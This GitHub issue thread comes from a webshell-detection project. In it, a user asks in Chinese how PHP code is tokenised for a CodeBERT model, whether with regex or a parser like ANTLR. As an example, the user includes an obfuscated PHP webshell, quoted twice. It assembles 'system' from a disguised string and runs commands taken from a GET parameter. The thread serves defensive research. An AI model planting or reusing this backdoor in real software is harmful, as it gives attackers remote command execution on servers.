You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
<?php
class Test
{
public function __toString()
{
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
return '1';
}
}
$a=new Test();
echo $a;
?>
一般都需要把php代码转化成一个序列
想问下你是用正则表达式来切分php代码,还是用了源代码解析库(比如antlr)
The text was updated successfully, but these errors were encountered:
------------------ 原始邮件 ------------------
发件人: "lyccol/CodeBERT-based-webshell-detection" <[email protected]>;
发送时间: 2021年2月1日(星期一) 下午3:13
收件人: "lyccol/CodeBERT-based-webshell-detection"<[email protected]>;
抄送: "Subscribed"<[email protected]>;
主题: [lyccol/CodeBERT-based-webshell-detection] 想请教下你是如何预处理php代码的 (#1)
比如下面这个php代码
<?php class Test { public function __toString() { $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); return '1'; } } $a=new Test(); echo $a; ?>
一般都需要把php代码转化成一个序列
想问下你是用正则表达式来切分php代码,还是用了源代码解析库(比如antlr)
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or unsubscribe.
比如下面这个php代码
一般都需要把php代码转化成一个序列
想问下你是用正则表达式来切分php代码,还是用了源代码解析库(比如antlr)
The text was updated successfully, but these errors were encountered: